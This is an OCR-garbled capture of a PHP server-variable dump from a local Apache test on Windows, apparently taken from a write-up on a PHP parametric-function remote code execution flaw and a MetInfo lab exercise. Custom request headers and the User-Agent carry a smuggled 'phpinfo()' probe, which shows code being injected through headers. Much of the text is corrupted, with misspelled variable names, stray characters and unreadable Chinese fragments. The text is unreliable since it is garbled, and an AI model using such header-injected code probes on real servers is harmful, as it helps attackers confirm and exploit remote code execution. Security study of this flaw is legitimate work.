; 34 [REMOTE_ADDR] => 127.0.0.1
Leon phpinfoq); 35 [SERVER_PORT] => 80
. — | [SERVER_ADDE] =» 127.0.0.1
1 = 7 [SERVER_NAME] =» 127.0.0.1
[SERVER SOFTWARE] => Apache/2.4.38 (Win£d) OpenSSL/1.1.1b mod fcgid/Z.3.8a
mod_log rotate/1.0Z2

38 [SERVER_SIGATURE] =>

] goL] =» C: WINDOWS
[HTTP_LEON]) =» phpinfa(); L
e e

ke HE—CONTROY

T
43 [HTTP U?GI’.AEE_INSEEUP.‘E_P.EQUESTS] => 1

44 [HTTP_CONNECTION] => close
45 [HTTP_ACCEFT_ENCODING] => gzip, deflate
4 [HTTP_ACCEPT LANGUAGE] =>
zh-CN, zh:g=0.8, sh-TW;q=0.7, sh-HE; =0.5,2n-US;g=0.3 ,en; g=0.2
47 [HTTP_ACCEFT] ==

rex cation/®ml;q=0.9, image/wshp, */ *: q=0.8
48 [HTTP_USER_AGENT] => phpinfoi);
5

THTIP_BEUSI] ¥» IZT.0.0.T1
[FCGI_ROLE] => RESPONDER

-t
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PHP Parametric Function RCE (https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/)
LI HER

MetInfofT: & UL EX

https://www.hetianlab.com/expc.do?ec=ECIDf5e2-83aa-4a0b-b276-c10e1f953297

Gl 12 5% % 2 42 MetInfo f i SO 132 B 1R B4 JR R AN R F 75 96D
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